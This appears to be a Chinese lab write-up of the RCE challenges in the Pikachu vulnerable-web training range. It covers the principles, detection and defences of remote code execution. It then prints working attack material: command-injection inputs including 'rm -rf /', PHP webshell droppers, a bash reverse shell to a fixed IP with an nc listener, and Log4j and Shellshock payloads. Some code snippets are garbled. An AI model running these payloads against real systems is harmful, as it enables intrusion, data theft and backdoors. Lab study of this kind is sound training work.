Pikachu靶场-RCE漏洞

1. RCE漏洞原理

  • 核心问题:应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中。
  • 常见触发场景
  • 命令注入:用户输入被拼接到操作系统命令(如system()、exec())。
  • 代码注入:动态执行用户可控的代码(如eval()、Function())。
  • 反序列化漏洞:反序列化未经验证的数据触发恶意代码(如Java的ObjectInputStream、Python的pickle)。

2. RCE漏洞类型

(1) 命令注入(Command Injection)

  • 触发点:直接调用系统命令的函数(如bash、cmd)。
  • 示例
    // PHP代码示例:未过滤用户输入的id参数
    id = _GET'id';
    system("ping -c 4 " . $id);
  • 攻击者可输入127.0.0.1; rm -rf /,导致删除服务器文件。

(2) 反序列化漏洞

  • 触发点:反序列化不可信数据时自动调用危险方法(如Java的readObject())。
  • 示例:Apache Log4j2(CVE-2021-44228)通过日志记录中的${jndi:ldap://恶意URL}触发远程代码加载。

(3) 动态代码执行

  • 触发点:使用eval()、setTimeout()等动态执行代码。
  • 示例
    // Node.js代码示例:未过滤用户输入
    const userInput = req.query.input;
    eval('console.log("' + userInput + '")');
  • 输入"); process.exit(1); // 可导致服务崩溃。

3. 典型攻击场景

  • Web应用:通过URL参数、HTTP头、表单字段注入恶意命令。
  • 中间件/框架:利用Struts2、Spring、Fastjson等框架的漏洞(如CVE-2017-5638)。
  • IoT设备:通过未授权接口执行系统命令(如路由器固件漏洞)。
  • 供应链攻击:污染开源库(如PyPI、npm包)间接引入RCE。

4. RCE漏洞危害

  • 完全控制系统:获取服务器Shell权限,植入后门或勒索软件。
  • 数据泄露:窃取数据库、配置文件中的敏感信息。
  • 横向渗透:作为跳板攻击内网其他设备。
  • 资源滥用:利用服务器进行挖矿、DDoS攻击。

5. 检测方法

(1) 黑盒测试

  • 模糊测试(Fuzzing):输入|、;、&、$(cmd)等特殊字符,观察响应异常。
  • 工具扫描:使用Burp Suite、Nuclei、Metasploit检测已知RCE漏洞。

(2) 白盒审计

  • 代码审计:检查以下高危函数:
  • PHP:system(), exec(), popen(), eval().
  • Python:os.system(), subprocess.run(), pickle.loads().
  • Java:Runtime.exec(), ProcessBuilder(), ObjectInputStream.
  • 反序列化检查:验证反序列化数据是否签名或加密。

6. 防御措施

(1) 输入过滤与验证

  • 白名单机制:仅允许预期字符(如数字、字母)。
  • 转义危险字符:过滤|、&、;、$()等Shell元字符。

(2) 避免直接执行命令

  • 使用安全的API替代系统命令。例如:
  • 用FileUtils.readFileToString()代替Runtime.exec("cat /etc/passwd")。

(3) 最小权限原则

  • Web服务以低权限用户(如www-data)运行,限制命令执行能力。

(4) 禁用危险函数

  • 在PHP中禁用eval()、system()等函数(修改php.ini的disable_functions)。

(5) 安全反序列化

  • 避免反序列化不可信数据,使用JSON等安全格式替代。
  • Java中可启用SerializationFilter(JDK 17+)。

7. 经典案例

  1. Shellshock(CVE-2014-6271)
  • 漏洞原因:Bash解析环境变量时执行恶意代码。
  • 攻击载荷:() { :; }; /bin/bash -c '恶意命令'
  1. Fastjson RCE(CVE-2022-25845)
  • 漏洞原因:反序列化时自动加载恶意类。
  • 修复方案:升级至1.2.83+版本并启用safeMode。
  1. Log4j2(CVE-2021-44228)
  • 漏洞原因:日志记录中未过滤JNDI lookup。
  • 攻击载荷:${jndi:ldap://attacker.com/Exploit}

总结

RCE漏洞的根源在于"信任了不可信的输入"。防御需结合输入过滤、最小权限、代码审计等多层机制,同时及时更新依赖库和框架补丁。对于企业,建议定期进行渗透测试,并建立应急响应流程以快速应对此类高危漏洞。

一,exec "ping

1,提供了一个允许执行ping操作的网站

尝试执行系统命令

127.0.0.1;ls

127.0.0.1 | ls

127.0.0.1 & ls

127.0.0.1 || ls

127.0.0.1 && ls

2,可以看到以上字符除了||都能进行注入,直接写一句话木马到当前文件夹

127.0.0.1;echo "<?php @eval($_POST'attack');?>" >webshell.php

127.0.0.1;chmod 777 webshell.php

127.0.0.1;ls -la

然后使用蚁剑连接webshell.php

二,exec "eval"

漏洞位置

if(isset(_POST\['submit'\]) \&\& _POST'txt' != null){
if(@!eval(_POST\['txt'\])){ html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}

关键危险函数:eval($_POST'txt')

漏洞原理

  1. 直接执行用户输入
    用户通过POST提交的txt参数未经任何过滤,直接传递给eval()函数执行。
    eval()会将字符串解析为PHP代码执行,攻击者可构造恶意代码注入。
  2. 缺乏输入过滤
    未对$_POST'txt'进行以下安全处理:
  • 过滤危险字符(如;、$、{、})
  • 白名单验证(仅允许特定字符)
  • 代码语法检查
  1. 错误抑制符(@)的误导
    @符号抑制了错误输出,但无法阻止代码执行。即使代码执行失败,攻击者仍可能通过盲注(Blind RCE)探测漏洞。

漏洞危害

  • 完全控制服务器:执行系统命令、读写文件、安装后门。
  • 数据泄露:读取数据库配置、用户信息等敏感文件。
  • 横向渗透:以当前服务器为跳板攻击内网。
  • 持久化攻击:植入Webshell、定时任务、SSH密钥。

修复建议

  1. 禁用eval函数
    在php.ini中禁用eval函数:
    disable_functions = eval
  2. 输入过滤机制
    如果业务必须接受动态代码,需实现严格过滤:
    // 示例:仅允许数字和字母
    input = _POST'txt';
    if (!preg_match('/^a-zA-Z0-9+/', input)) {
    die("非法输入!");
    }
  3. 使用安全替代方案
  • 避免动态执行代码,改用预定义函数或API。
  • 例如,若需数学计算,用intval()代替动态表达式。
  1. 最小权限运行
    Web服务器(如Apache/Nginx)以低权限用户(如www-data)运行,限制其执行系统命令的能力。
  2. 日志监控
    记录所有用户输入及异常行为,使用IDS/IPS检测攻击尝试。

一,漏洞验证(POC)

  1. 提交简单PHP代码测试:
    txt=echo phpinfo();

若页面返回PHP配置信息,则漏洞存在。

  1. 盲注检测(无回显时):
    txt=system('sleep 5');
    观察响应是否延迟5秒。

二,攻击示例

攻击者可提交以下Payload实现任意代码执行:

// 执行系统命令(如查看文件列表)
txt=system('ls -la /');

// 写入Webshell
txt=file_put_contents('shell.php','<?php @eval($_POST"cmd");?>');

txt=system('ls');

// 靶机反弹Shell(URL栏需URL编码)
txt=exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.99.74/4444 0>&1'");

攻击机打开监听

nc -lvvp 4444

相关推荐
心中有国也有家6 小时前
AtomGit Flutter 鸿蒙客户端: ChangeNotifier 模式
学习·flutter·华为·harmonyos
取地址符7 小时前
C++学习笔记(基于learn-cxx)(1)
c++·经验分享·笔记·学习
xixixi777778 小时前
产业全景解读:太空算力、国产芯、国产大模型、6G 空天地、AI 可信身份、后量子安全多线全面突破
人工智能·安全·ai·大模型·数据中心·通信·运营商
恣逍信点8 小时前
主观是客观的聚焦
人工智能·学习·程序人生·生活·业界资讯·交友·哲学
m0_466525298 小时前
新品发布 | 绿盟安全智算一体机,构建“算力、调度、安全“深度融合的AI基础设施
人工智能·安全
hz567898 小时前
内网视频会议系统建设方案:适合政企单位的安全会议选择
安全·云计算·音视频·实时音视频·信息与通信
打球她不香吗9 小时前
本周ALLegro学习内容的总结
学习·allegro
2603_954708319 小时前
全维度容错设计,打造微电网安全运行屏障
服务器·网络·数据库·人工智能·分布式·安全
其实防守也摸鱼9 小时前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队
冰可乐配10 小时前
fmpeg音频编码组件aac(Advanced Audio Coding (AAC) encoder)学习
学习·音视频·aac